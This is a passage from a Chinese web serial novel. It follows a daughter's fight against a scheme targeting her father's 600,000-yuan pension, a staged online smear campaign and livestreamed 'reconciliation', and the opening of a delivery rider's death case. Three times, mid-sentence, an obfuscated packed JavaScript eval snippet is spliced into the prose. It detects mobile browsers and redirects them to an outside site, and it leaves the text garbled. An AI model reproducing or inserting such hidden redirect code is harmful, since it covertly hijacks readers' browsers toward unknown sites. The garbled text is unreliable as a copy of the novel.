51.消失的养老金(四):大闹一场 周瑞堂套了一件衬衣,下楼去了。 周雯站在窗边,看着父亲的背影消失在单元门口,手攥着窗帘。 楼下花园里,那几个穿红马甲的身影正围上来,热情地跟周瑞堂握手。李曼青迎上去,笑容灿烂,说着什么。 周瑞堂站在那儿,腰挺得很直,和刚才在屋里那个低头沉默的老人判若两人。 “不行,我得下去。”周雯转身就往外走。 徐寄遥拦住她,“周女士,您冷静一下。” “我怎么冷静?你没看见吗?我爸他……他又信了!”周雯的声音在发抖,“好不容易让他松动了,这群人一来,全毁了。” “您这样下去,只会跟他吵起来。” “吵就吵!我今天非要把话说清楚!” 周雯推开徐寄遥,冲下楼去。张磊跟在后面。 徐寄遥看了一眼吴小糖和俞彩虹。“走,下去。” / 楼下已经围了不少人。 周雯冲进人群,一把抓住周瑞堂的胳膊。 “爸!你跟我回去!” 周瑞堂被她拉得踉跄了一步,站稳后脸色沉下来。 “你干什么?撒手!” “跟我回去!这些人都是骗子!爸!您听我说……” “你放开!”周瑞堂甩开她的手,声音大起来。 周围的人都在看他们。 那些穿红马甲的人停下来,举着传单,看着这场父女争吵。几个老太太凑在一起,小声嘀咕着什么。 周雯的脸涨得通红:“爸,我是怕你被骗!” “我被骗?我教了四十年书,我会被骗?你就是看不起我!你就是觉得我老了,没用了!” 周雯的眼泪涌出来:“爸,我没那么想……” “你就是那么想的!你从小到大,就不让我省心!你妈走得早,我一个人把你拉扯大,我容易吗?你现在好了,有家了,有老公了,就开始管我了?” 旁边几个老太太小声议论:“这闺女也真是,大庭广众的,跟爹吵什么……” 周雯听见了,眼泪流得更凶了。 “爸,我求你了,跟我回去……” “我不回去!你走!你带着你那些人走!我不想看见你!” / 李曼青站在旁边,脸上带着那种恰到好处的为难。 “周老师,您别激动。您女儿也是一片好心,虽然方法不对……” “你闭嘴!”周雯猛地转向她,“你再说一遍?你骗我爸的钱,还说我方法不对?” 李曼青后退一步,脸上还是那个笑。 “周女士,您冲我发什么火呢?我又没逼您父亲投钱。周老师自己签的合同,自己按的手印。您有这功夫,不如多关心关心您父亲。他为什么信我们?因为你们不管他。” 这句话像一根针,扎进了周雯最疼的地方。 “你说谁不管我爸?”她的声音发抖,“我每周最少来三天看我爸!我给他做饭、洗衣服、收拾屋子!你张嘴就来啊你!你们骗老年人的钱,心里亏不亏啊!?” 李曼青的笑容淡了:“周女士,说话要有证据。我们是正规机构,有合同,有公章……” “正规机构?正规机构会跑到小区里摆摊?正规机构会专门骗老人的钱?” “谁骗老人了?周老师有自己的判断能力!他觉得我们好,觉得我们懂他!请问您呢?您知道一个退休老人的内心世界吗?他们在想什么?他们需求什么?你研究过吗?您懂自己的父亲吗?” 周雯愣住了。她浑身发抖。 她看着李曼青那张笑脸,看着周围那些指指点点的人,看着父亲站在对面,眼神里没有心疼,只有厌烦。 她忽然觉得,自己这几个月做的所有事,都是错的。 她低头看见地上散落的传单,看见上面印着“银发独立”“子女控制”“为自己活一次”。她弯腰捡起一张,撕成碎片,扔在地上。 李曼青的脸沉下来:“你这是干什么?” “我干什么?我让你看看我干什么!” 周雯一脚踢翻了旁边放传单的折叠桌。 桌子翻了,传单飞起来,散了一地。矿泉水瓶滚到花坛边上,咕噜噜转了几圈。周围的老人们惊叫着往后退。 周瑞堂的脸白了,“你疯了?” 周雯没有理他。她抓起另一张桌子上的宣传册,撕成两半,扔在地上。 那些穿红马甲的人冲过来:“你干什么?你凭什么砸我们东西?” “我砸的就是你们的东西!骗子的东西!” 一个年轻男人冲上来:“你再说一遍?谁骗子?” 周雯瞪着他:“你们!就是你们!骗老人的钱,你们还有理了?” 年轻男人伸手想推她。张磊一步冲上来,挡在周雯前面:“你动她一下试试?” 年轻男人被推得后退一步:“你推我?” “推你怎么了?你们骗老人的钱,还有脸动手?” “谁骗钱了?我们是正规机构!合同白纸黑字!她自己不懂,还在这儿闹!” 年轻男人冲上来,推了张磊一把。张磊没站稳,撞在后面的花坛上。 “你他妈敢动手?”他挥拳就打。 / 场面彻底失控了。 两个红马甲围住张磊,一个扯他的胳膊,一个推他的肩膀。张磊挣了几下没挣开,脸涨得通红。 周雯冲上去想拉开他们,被另一个红马甲拦住。她大叫:“你们放开我老公!” 李曼青站在旁边喊:“别打了!都别打了!”但没人听她的。 吴小糖第一个冲进人群。 她往中间一站,把那两个红马甲隔开:“都别打了!有话好好说!” 一个红马甲推开她:“少管闲事!” 吴小糖没让开:“我还管定了!你们几个大男人打一个,要不要脸?” 徐寄遥跟上来,先把周雯拉到一边:“周女士,您别过去!” 周雯已经哭得说不出话了:“他们打我老公……他们打我老公……” 李曼青看见了徐寄遥。她的脸色变了。 “又是你?你怎么在这儿?” 徐寄遥没理她,护着周雯往后退。 李曼青跟上来,声音尖利。 “是你!是你让她来闹的!是不是你?你们代吵的人,就会干这种事!挑拨人家父女关系,怂恿人家来闹事!” 徐寄遥看着她。 “李老师,周女士是自己来的。我们只是陪她。” 那边又吵起来了。年轻男人指着张磊:“你等着!我报警!” “报啊!你报啊!让警察来看看你们这些骗子!” / 吴小糖掏出手机,拍了张现场混乱的照片,发给应宽:“要打起来了,速来支援!” 发完她把手机揣进口袋,冲过去拉住张磊。 “张哥!别打了!” 张磊挣了几下,终于停下来。他喘着粗气,脸上红了一块。 那几个红马甲也被人拉开了,站在对面,指着这边骂骂咧咧。 “呜哇——呜哇——” 警笛的声音从小区外面传进来。 所有人都停下来,往路口看。一辆警车开进来,停在花坛旁边。 两个民警从车上下来,走进人群。 “谁报的警?” 没人说话。 民警扫了一眼满地的传单、翻倒的桌子、撕碎的宣传册。 “怎么回事?谁闹事?” 年轻男人指着张磊:“他!他先动的手!砸我们的东西,还打人!” “你放屁!”张磊喊起来,“是你们先动的手!你们推我老婆!” 民警抬手制止。 “一个一个说。你,先说。” 年轻男人指着地上的传单和翻倒的桌子。 “我们是公益机构,在小区做宣传活动。这几个人跑来砸我们的东西,还动手打人。您看,我们的桌子被掀了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366377|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣传册被撕了,我同事还被打了。” 民警看向张磊,“你呢?怎么说?” 张磊指着那几个红马甲:“他们骗老人的钱!我岳父被他们骗了六十万!我气不过,就……” 民警转向周雯,“你说。” 周雯点点头,眼泪又流下来。 “警察同志,他们骗我爸的钱,六十万,一辈子的积蓄。我劝我爸,他不听,我就……” “就掀了人家的桌子?” 周雯没说话,低下头。 民警叹了口气,转向李曼青。 “你们这个活动,有报备吗?有许可吗?” 李曼青愣了一下:“我们是正规注册的公益机构……” “我问你有没有报备?在小区里搞活动,要经过物业同意,要报备街道。你们报了吗?” 李曼青说不出话。这次活动是直接走的熟人关系。 民警拿出手机,给街道打了个电话。 挂了电话,他对李曼青说:“你们先别走,等社区的人来了再说。” / 社区的人来得很快。一个四十多岁的女人,穿着红马甲,上面印着“社区志愿者”。 她看了一眼现场,跟民警说了几句话,然后走到李曼青面前。 “你们这个活动,没有在我们这儿报备过。小区里不能随便摆摊搞活动,你们不知道吗?” 李曼青的脸白了:“我们是公益宣传……” “不管公益还是商业,都要报备。你们这样搞,影响居民正常生活,还闹出纠纷来。赶紧收拾东西,走吧。” 几个红马甲不情不愿地把折叠桌搬上小货车。李曼青站在车旁边,脸色很难看。 她看了一眼周瑞堂,又看了一眼徐寄遥,什么都没说,上了车。 小货车突突突地发动,开走了。 人群慢慢散了。几个老太太还在小声议论,被社区的人劝走了。 周瑞堂站在原地,看着围观的人们慢慢走远。 他看了周雯一眼,一字一顿地说:“你把我这张老脸,丢尽了。” 他转身往单元门走去。周雯追上去。“爸!” 周瑞堂没有回头。他的背影消失在昏暗的楼道里。门关上了。 周雯站在门口,浑身发抖。她蹲下来,抱住自己的膝盖,哭出了声。 张磊走过去,蹲在她旁边,轻轻揽住她的肩膀。“别哭了,没事的。” 徐寄遥走过来,说:“周女士,先回去吧。您父亲现在在气头上,说什么他都听不进去。等过两天他冷静了,我们再想办法。” 周雯抬起头,眼睛哭得红肿。 张磊扶她站起来。她走了两步,又回头看了一眼那扇单元门。 “走吧。”张磊轻声说。 周雯点点头,跟着他往小区外面走。 / 徐寄遥三个人也跟在后面。 走到小区门口的时候,一辆网约车急刹停在路边。应宽从车上跳下来,冲进小区。 他穿着一件深灰色的T恤,头发被风吹乱了,额头上全是汗。看见徐寄遥站在花坛旁边,吴小糖和俞彩虹都在,他的脚步慢下来。 “没事吧?”他问,声音有点喘。 吴小糖看了一眼手机。 “应宽哥,才二十分钟,你从哪儿飞过来的?” 应宽没理她。他看着徐寄遥,等着她回答。 徐寄遥摇摇头:“没事。” 应宽看着她,看了几秒。她的衣服有点皱,头发被风吹乱了,脸上有一道不知道什么时候蹭的灰。但她的眼睛是平静的。 他点了点头,把一直攥在手里的手机揣进口袋。 “走吧,回去再说。”徐寄遥说。她转身往小区外面走。 走到应宽身边的时候,她停了一下。没有看他,只是停了一下,然后继续往前走。 应宽走在最后面,看着前面那个背影。 路灯的光从树叶间漏下来,落在他脸上,一道一道的。 52.消失的养老金(五):绞杀舆论 2025年8月6日,上午九点。 周雯的电话打进来的时候,徐寄遥正在看后台数据。 手机屏幕亮了,显示“周雯”两个字,她接起来,还没开口,那边就传来哭声。 “徐老师,网上……网上有人在骂我。” 徐寄遥的手停在鼠标上。 “慢慢说,怎么回事?” “昨天晚上开始,有人在微博上发视频,就是昨天在小区里那一段。他们把我剪了,把我爸说的那些话都剪掉了,只留下我掀桌子那段。他们说我是‘控制狂女儿’,说我不让父亲创业,说我不孝……” 她的声音断断续续,“他们还把我爸说的话也放上去了,就是他说我‘不让他省心’那段。我爸在视频里说我不理解他,说我想管着他。他们把这个叫‘当代子女控制父母的典型案例’。” 徐寄遥握紧手机,“您先别急。把链接发给我。” 挂了电话,她打开微博。 热搜第27位:#子女该不该干涉父母财产#。 点进去,第一条视频就是周雯在小区里掀桌子的那段。画面被剪过,只有她踢翻桌子、撕宣传册、对着红马甲喊“你们骗老人钱”的镜头。 没有前因,没有后果,只有她失控的样子。 视频下面配了一段文字: “某小区女子大闹公益活动,原因竟是父亲投资了‘银发创业’项目。该女子认为父亲被骗,强行阻止父亲参加活动。现场一度失控,民警到场处理。” 评论区已经几千条。 “这种女儿也太可怕了吧?老人花自己的钱怎么了?” “说白了就是怕她爸把钱花光了,她没得分。” “看那个歇斯底里的样子,平时对她爸肯定也好不到哪去。” 徐寄遥往下翻,又看到另一个视频。这个更短,只有十几秒。 周瑞堂站在人群中间,对着镜头说:“你就是看不起我!你就是觉得我老了,没用了!”镜头一转,周雯蹲在地上哭。 配文:“八旬老父控诉女儿:她把我当老糊涂。” 播放量已经两百万了。 吴小糖凑过来看了一眼,脸涨得通红。 “他们怎么这样?明明不是这样的!” 应宽在电脑前抬起头。 “不止微博。小红书、抖音、知乎,都在推。同一个话题,同一个时间,同一套话术。”他敲了几下键盘,“营销号,至少三十个。” / 周雯夫妇到工作室的时候,已经是上午十一点。 她眼睛肿得像核桃,张磊跟在后面,脸色也很难看。 “徐老师,他们把我爸也拍进去了。”周雯的声音沙哑,“我爸看到那些视频了,打电话来骂我,说是我把记者引来的,说我想让他丢人。他说……他说以后再也不想见我。” 徐寄遥让她坐下,“您父亲现在在哪儿?” “在家里。我让邻居去看了,他没事。就是生气。”周雯低下头,“我是不是真的做错了?我不该掀桌子,不该闹。可我实在是……”她说不下去了。 俞彩虹递给她一杯水,“您没有做错。错的是他们。把视频剪辑过再放出来,断章取义,煽动情绪。这是他们的手段。” 吴小糖在旁边翻手机,越翻越气。“寄遥姐,你看这个。‘深度分析:当代子女为什么害怕父母有钱?’还有这个,‘从心理学角度解读子女对父母财产的控制欲’。这些人写的都是什么啊?” 应宽把电脑转过来。 “不止这些。还有人在组织投诉。从今天早上开始,代吵APP收到大量投诉,全是实名认证的和解大师用户。” 徐寄遥走过去看。 后台的投诉列表一页一页翻不完,每一条都差不多: “代吵APP教唆子女与父母对立”“破坏家庭和谐”“建议下架”。 投诉人的头像大多是老年人,有些还穿着和解大师活动的红马甲。 “这是有组织的。”应宽说,“同一个模板,同一套话术。他们让老人来投诉,用实名,用真实账号。平台没法删,因为这是‘真实用户反馈’。” 吴小糖急了:“那怎么办?就让他们这么搞?” 徐寄遥没说话。 / 吴小糖跟在后面。“寄遥姐,咱们不发声明吗?不发证据吗?” 徐寄遥摇摇头。“不发。” 吴小糖愣住了。“为什么?” “发了也没用。上次我们发了,有用吗?”徐寄遥转过身,看着屋里的人。 “他们会说我们断章取义,会说我们洗白,会说我们威胁老人。他们有水军,有营销号,有那些被他们洗脑的老人。我们没有。硬碰硬,我们碰不过。” 周雯急了:“那怎么办?就让他们这么骂我?” 徐寄遥看着她,“周女士,我问您一个问题。您觉得自己做错了吗?” 周雯愣了一下,“我……我掀桌子是不对。” “不是问您掀桌子。问您担心您父亲,有错吗?” 周雯摇头:“没错。” “那您怕什么?” 周雯说不出话。 徐寄遥说:“他们骂您,是因为他们不了解真相。那些骂您的人,一辈子都不会见到您。他们骂完就忘了。您呢?您要回去看您父亲,要给他做饭,要等他开门。这些事,那些骂您的人不会替您做。” 她顿了顿。“所以,别看了。” 周雯愣住了:“别看了?” “别看了。手机放下,电脑关上,今天不上网。网上是网上,生活是生活。” 吴小糖在旁边说:“寄遥姐,那咱们就不管了?” “管。但不是管网上的骂声。是管周老师的事。”徐寄遥转向应宽,“应宽,你该干嘛干嘛,别盯着那些数据了。” 应宽愣了一下,然后点点头,转回去继续敲键盘。 吴小糖还想说什么,徐寄遥看了她一眼。 “你也别看手机了。去买点吃的,中午在这吃。” 吴小糖张了张嘴,把手机揣进口袋,拎着包出门了。 / 中午吃饭的时候,周雯的手机一直在响。 她看了一眼,脸色变了。“是我爸……” 徐寄遥拿过手机,按掉,翻过去放在桌上。“别接。” “可他……” “他现在在气头上,接电话只会吵。等过两天再说。” 周雯点点头,拿起筷子,但没夹菜。她看着窗外,眼眶又红了。 俞彩虹轻轻拍了拍她的手,“周女士,您父亲会想通的。他现在不信您,但他会信的。” 周雯没说话。 吃完饭,徐寄遥把周雯和张磊送出门。 “这两天别上网,别接电话。等我们消息。” 周雯点点头:“徐老师,我爸他真的能明白吗?” 徐寄遥看着她:“能。但不是现在。您得等。” 周雯没说话,转身走了。 张磊跟在后面,回头看了徐寄遥一眼,点了点头。 / 下午三点,吴小糖窝在沙发上,手机在口袋里,手伸进去好几次,又缩回来。 她看看徐寄遥,又看看应宽。 应宽在电脑前,但没看舆情数据,在查周瑞堂学生的资料。 俞彩虹在看书。 工作室里很安静。安静得能听见电脑主机的嗡鸣声。 吴小糖终于忍不住了。 “寄遥姐,真的不看一眼吗?就一眼。” 徐寄遥头也没抬。 “不看。” “万一又有什么新东西呢?” “有新东西又怎样?看了能解决吗?” 吴小糖不说话了。 又过了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369804|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时。 吴小糖在沙发上翻来翻去,坐不住。 她偷偷把手机掏出来,屏幕亮了一下,徐寄遥的声音从后面传来。 “小糖。” 吴小糖赶紧把手机塞回去。 “我就看个时间。” 徐寄遥没说话。 吴小糖老老实实把手放在膝盖上。 到了五点,吴小糖实在忍不住了。 “寄遥姐,都好几个小时了,热度应该下去了吧?咱们就看看,不做什么。” 徐寄遥看了她一眼。 吴小糖的眼神像一只被关在笼子里的小狗,可怜巴巴的。 “行,看看。” 吴小糖立刻掏出手机,打开微博。 热搜榜从上往下扫了一遍——没有。 再从下往上扫了一遍——还是没有。 “没了?” 她愣了一下,又打开小红书、抖音、知乎。都没有。 那些视频还在,但点赞和评论停在了几个小时前。 最新评论只有几条,都是问“这是什么时候的事”。 热度退了。 像潮水一样,涨上来的时候汹涌,退下去的时候悄无声息。 吴小糖瞪大了眼睛。 “寄遥姐!热度退了!真的退了!” 徐寄遥走过来看了一眼,表情没什么变化。 吴小糖翻着手机,越翻越兴奋。 “你们看,评论区也没人吵了。那些人好像都散了。怎么回事?我们什么都没做啊。” 应宽从电脑前抬起头,说了一句,“他们撤了。” 吴小糖没听懂:“谁撤了?” “水军撤了,营销号也撤了。” 吴小糖愣住了:“他们搞这么一出,就搞了半天?” 应宽点头:“半天够了。他们的目的不是骂周雯,是试探我们。看看我们会不会像上次一样跳出来。” 吴小糖转头看徐寄遥:“寄遥姐,你早就知道?” 徐寄遥摇摇头: “不知道。但我知道,跟他们硬碰硬,我们碰不过。他们有钱,有水军,有营销号。我们有什么?我们只有几个人,几台电脑。” “所以不碰。他们想让我们跳,我们不跳。他们想让我们吵,我们不吵。他们想让我们急,我们不急。他们自己就退了。” 吴小糖想了想:“所以对付网暴,就是……不理它?” 徐寄遥看着她。 “不是不理。是知道什么时候该理,什么时候不该理。上次我们被网暴,我们发了声明,发了证据,发了所有能发的东西。有用吗?有一点点用,忽略不计的那种。这次不一样。这次不是冲我们来的,是冲周雯来的。我们跳出去,就中计了。我们不跳,他们自己就退了。” 吴小糖似懂非懂。 “可是,如果他们不撤呢?如果他们一直骂呢?” 徐寄遥没回答。应宽替她说了。 “不会的。和解大师的目标不是周雯,是代吵。骂周雯只是手段,逼我们出手才是目的。我们不出去,他们骂周雯没有用。骂一个普通人,上不了热搜,赚不了流量。他们不会花冤枉钱。” 吴小糖听明白了。 “所以就是……我们忍住了,他们就输了?” 应宽点头:“差不多。” 吴小糖看着徐寄遥,眼睛里全是佩服。 “寄遥姐,你太牛了。上次被网暴之后,你悟出这招了?” 徐寄遥没说话。 她想起上次那些天,把自己关在房间里,不吃不喝,盯着那些骂她的评论。 她想起何久红来工作室闹,想起那些水军、营销号、热搜。 那次她输了,输得很惨。 但那次之后她学会了一件事:有些仗,不打比打好。不是认输,是知道什么时候出手。 “算是吧。” 53.消失的养老金(六):意料之外 2025年8月7日,早上十点。 吴小糖第一个发现的。 她窝在沙发上刷抖音,刷到一条直播推送,整个人弹了起来。 “寄遥姐!你们快看!” 她把手机举起来。 屏幕上,和解大师的官方抖音号正在直播。 镜头前坐着三个人:杨亚波、李曼青,还有一个头发花白的老人。 是周瑞堂。 徐寄遥走过去,盯着屏幕。 吴小糖把手机放在茶几上,应宽和俞彩虹也凑过来。 直播间里已经涌进了几千人,弹幕飞快地滚着。 “杨总好有爱心!” “这才是良心企业家!” “支持杨总!” 杨亚波坐在中间,穿着一件浅灰色的休闲西装,里面是白色衬衫,儒雅得体。 李曼青坐在他左边,脸上带着那种徐寄遥熟悉的温和笑容。 周瑞堂坐在右边,穿着一件崭新的深蓝色夹克,头发梳得整整齐齐,像是换了个人。 镜头前面摆着一个信封,鼓鼓囊囊的,旁边放着一张银行卡。 杨亚波先开口了。 “各位网友,晚上好。我是和解大师的杨亚波。今天开这个直播,是想跟大家说明一件事。” 他的声音温和,不急不慢。 “最近网上有一些关于夕阳红创业联盟的讨论。有子女担心父母被骗,有老人觉得子女不理解自己。作为和解大师的创始人,我觉得我应该出来说几句。” 弹幕又滚了一波。 “杨总好样的!” “支持杨总!” 杨亚波看了一眼旁边的周瑞堂。 “周老师,您先说说,您是怎么认识夕阳红创业联盟的?” 周瑞堂往前坐了坐,脸上的表情很复杂。 “我……退休好几年了。一个人住,女儿忙,一个月来看我一两次。”他的声音有点抖,“后来有人介绍我参加夕阳红的活动。” 他停了一下,像是在忍什么。 “我投了六十万,是我一辈子的积蓄。我知道你们觉得我糊涂,觉得我被骗了,那是他们不了解。”他抬起头,看着镜头,“李老师他们对我很好,很尊重,不是图我什么。” 弹幕安静了一瞬。然后有人发了一条: “老爷子说得太好了!” “支持周老师!” “老人家有自己的选择!” 杨亚波接过话头。 “周老师,谢谢您愿意分享。我代表和解大师,也代表夕阳红创业联盟,向您和您的女儿道歉。” 他站起来,对着镜头微微鞠了一躬。 “我们的产品宣传不到位,没有向家属充分说明,引起了老人的担心和子女的误解。这是我们工作的疏忽。” 弹幕又炸了。 “杨总太有担当了!” “这态度,没话说!” “和解大师真良心!” 杨亚波重新坐下,拿起桌上那个信封。 “周老师投资的六十万,是投给夕阳红创业联盟旗下的一款金融产品。这款产品是正规金融机构发行的,专门为七十岁以上老人设计的理财方案。目的是帮助没有劳动能力的老人增加经济收入,让晚年生活过得更好。” 他抽出一张纸,上面印着密密麻麻的字。 “这是产品说明书。产品投向是国债、大额存单和低风险债券,年化收益率在百分之四到百分之六之间。不是百分之二十。之前的宣传有夸大成分,是我们的问题。” 弹幕里有人问:“那周老师亏了吗?” 杨亚波看着镜头。 “周老师没有亏。他的投资是合规的,产品运作正常。今天,第一期收益已经到了。” 他把信封打开,从里面拿出一张银行卡,放在桌上。 “这是第一期收益,两万四千块。按照年化百分之四的收益率,六十万本金,一年的收益是两万四千块。第一期是半年的收益,一万两千块。考虑到给周老师带来的困扰,我们公司额外补贴了一万两千块。这张卡里,是两万四千块。” 周瑞堂接过银行卡,手在抖,“谢谢杨总,谢谢李老师……” 李曼青在旁边轻轻拍了拍他的手背:“周老师,这是您应得的。” 弹幕已经疯了。 “杨总太大气了!” “这才是企业家的担当!” “和解大师我粉了!” / 杨亚波等弹幕平静一些,又开口了。 “各位网友,我知道很多人担心老年人投资被骗。这个担心是对的。老年人辛苦一辈子攒的钱,不应该被骗子拿走。所以,我在这里做一个承诺。” 他看着镜头,一字一句地说: “和解大师将对夕阳红创业联盟的前一百位老年投资者,提供全程担保。如果他们投资的产品出现亏损,由和解大师补上。一百位老人,一分钱都不会亏。” 弹幕开始疯狂刷大拇指。 杨亚波继续说: “老年人也有权利让自己的钱生钱。他们辛苦一辈子,晚年想过得好一点,不应该被当成‘老糊涂’。子女的担心,我们理解。但老人的选择,我们也要尊重。” 他转向周瑞堂:“周老师,您女儿今天的担心,也是因为爱您。只是方式不同。您能理解吗?” 周瑞堂点点头:“我理解,她就是太操心了。” 杨亚波笑了:“那您愿意跟她好好谈谈吗?” 周瑞堂点点头。 周雯从镜头外面走进来。 她穿着一件白色的衬衫,头发扎起来了,眼睛还肿着。她站在周瑞堂面前,手足无措。 “爸……” 周瑞堂看着她。 “小雯,爸不该骂你。你是为我好。” 周雯的眼泪涌出来。 “爸,我也不该掀桌子。我不该让你在那么多人面前丢脸。” 周瑞堂把她拉过来,轻轻拍了拍她的背。 “没事了。钱没丢,还赚了。” 周雯哭得说不出话。弹幕里全是鼓掌的表情。 “看哭了。” “这才是最好的结局。” “杨总太会了。” 杨亚波坐在旁边,脸上带着温和的笑。他看了李曼青一眼,李曼青也笑了。 徐寄遥站在茶几前面,看着屏幕上的画面。 周瑞堂握着周雯的手,两个人都在哭。杨亚波坐在旁边,像一尊镀了金的菩萨,光芒万丈。 吴小糖在旁边小声说:“寄遥姐,他……他把这事解决了?” 徐寄遥没说话。 / 直播在父女拥抱的画面中结束了。屏幕上打出几个字: “和解大师,让爱回家。” 吴小糖刷着手机,越刷脸色越凝重。 “寄遥姐,上热搜了。” 她把手机举起来。 热搜榜第一:#杨亚波正能量#。 热搜第三:#和解大师担保老年人投资#。 热搜第七:#周家父女和好#。 点进去,全是营销号的通稿。标题一个比一个煽情: “杨亚波直播道歉,为老年人投资兜底”“和解大师创始人杨亚波:让爱回家”“六十万养老钱风波,结局看哭网友”。 每一条下面都几千条评论,全是夸的。 “杨总太有担当了!” “这才是企业家该有的样子!” “和解大师我下载了!” 吴小糖一条一条往下翻。 “寄遥姐,他们怎么这样?现在搞得跟他们做了好事一样?” 俞彩虹坐在旁边,轻轻叹了口气: “因为周家父女和好了。钱没丢,还赚了。女儿不闹了,父亲开心了。外人看到的就是这个。至于中间那些事,谁在乎?” 应宽的声音从电脑后面传来。 “伯牙科技的股价,直播之后涨了百分之六。” 吴小糖张了张嘴,说不出话。 屋里安静了。 徐寄遥想起周雯的委托。这段时间这件事是代吵的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376417|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重点工作,可是他们绞尽脑汁都没有让父女俩和好。 杨亚波出来,发了钱,道了歉,担保了,父女和好了。 代吵什么都没做成。 杨亚波发两万四千块钱,什么都解决了。 俞彩虹走过来,在她旁边坐下,“寄遥,我们也尽力了。” 徐寄遥“嗯”了一声,神情有些茫然。 俞彩虹顿了顿,补了一句:“杨亚波就是资本。” 徐寄遥的眼睛聚焦了,看着俞彩虹。 应宽的声音从后面传来,“你们看这个。” 他投屏到白墙上,屏幕上是一条新推送的新闻: 《和解大师创始人杨亚波:未来三年将投入十亿,打造中国最大的老年金融服务平台》。 新闻里说,和解大师将推出专门的老年理财频道,所有产品都由和解大师担保。杨亚波说:“老年人辛苦一辈子,他们的钱应该被用来提高晚年质量,而不是被惦记。” 徐寄遥盯着那行字,看了很久。 “他要把这个生意做大了。”她轻声说。 应宽没说话。俞彩虹也没说话。吴小糖站在旁边,看着她。 / 晚上十点,工作室里还亮着灯。 徐寄遥坐在电脑前,屏幕上开着和解大师的官网。 首页上,杨亚波的照片放在最上面,下面写着:“让每一位老人都能安享晚年。” 旁边是直播回放,已经播放了八百万次。 评论区还在刷:“杨总好人一生平安”“和解大师值得信赖”“已推荐给父母”。 吴小糖窝在沙发上,盯着天花板。 “寄遥姐,你说周老师现在在干什么?” 徐寄遥没回答。 吴小糖絮絮叨叨: “投资的钱这么快就赚了,他肯定觉得杨亚波是好人。” 徐寄遥还是没说话。 俞彩虹说:“他当然觉得杨亚波是好人。因为杨亚波让他高兴了,人只相信让自己高兴的事。” 吴小糖翻了个身。 “那我们算什么?我们忙了这么多天,什么都没做成。” 应宽接话:“我们让他知道了这个投资有风险,这些事,不会因为杨亚波发了两万四千块钱就消失。” 吴小糖坐起来:“那又怎样?周老师现在信杨亚波,不信我们。” 应宽没说话。徐寄遥开口了:“那就让他信。” 吴小糖愣住了。 徐寄遥转过身。 “杨亚波今天做的,是补窟窿。他给周瑞堂发钱,担保,道歉,是因为他知道如果我们继续查下去,他的窟窿会越来越大。他堵住这一个,还有下一个。” 她站起来,走到白板前。拿起笔,在上面写了几个字:老年理财频道。 下面画了一个箭头,写上:十亿担保。再下面画了一个问号。 “他承诺担保一百个老人。一百个老人,六十万本金,就是六千万。如果这一百个老人的产品都亏了,他要赔六千万。他敢说这个话,是因为他知道这个产品不会亏吗?还是因为他根本不在乎这六千万?” 应宽说:“他在赌。赌那些产品不会出问题,赌老人不会同时要求兑付,赌舆论会站在他那边。” 徐寄遥点点头。“那他赌的是什么?是老人的钱。” 吴小糖没听懂。 徐寄遥说:“他把一个本来有风险的产品,包装成‘稳赚不赔’。老人信了,投了。万一产品亏了,他赔。但那个赔的钱,是从哪里来的?是下一个老人的钱。只要一直有老人投进来,他就能一直赔下去。这就是庞氏骗局。” 吴小糖的脸白了:“你是说,他还是在骗?” 徐寄遥看着她:“只是换了一个更漂亮的外壳。” / 徐寄遥站在白板前,看着那几个字。 杨亚波今天赢了。赢得很漂亮。 他让周家父女和好,让全网叫好,让股价上涨。他把自己包装成良心企业家,把代吵逼到了墙角。 但她知道,这场仗还没打完。 54.算法囚徒(一):外卖骑手之死 2025年8月9日,上午九点。 赵春梅坐在工作室的沙发上,双手捧着一个纸杯,水是凉的,她没喝。 她穿着一件洗得发白的蓝色T恤,领口洗得有些变形,头发乱糟糟的,用一根黑色皮筋扎着,碎发贴在额头上。她的眼睛是肿的,不是哭肿的,是那种几天几夜没睡之后,眼皮撑不住往下坠的肿。 吴小糖坐在她旁边,不知道该说什么,只是把纸巾盒往她那边推了推。 赵春梅没有看纸巾盒,她盯着茶几上的水渍,盯了很久。 “我老公是跑外卖的。”她开口了,声音沙哑,“八月五号那天,中午,天最热的时候。他跑了十二个小时,最后一单送到的时候,倒下了。就在人家单元门口。送到的时候人已经不行了。救护车来了,拉到医院,没抢救过来。” 她的声音很平,像在说一件跟自己无关的事。 “医生说,心源性猝死。太累了,心脏受不了。” 俞彩虹轻轻问:“刘师傅今年多大?” 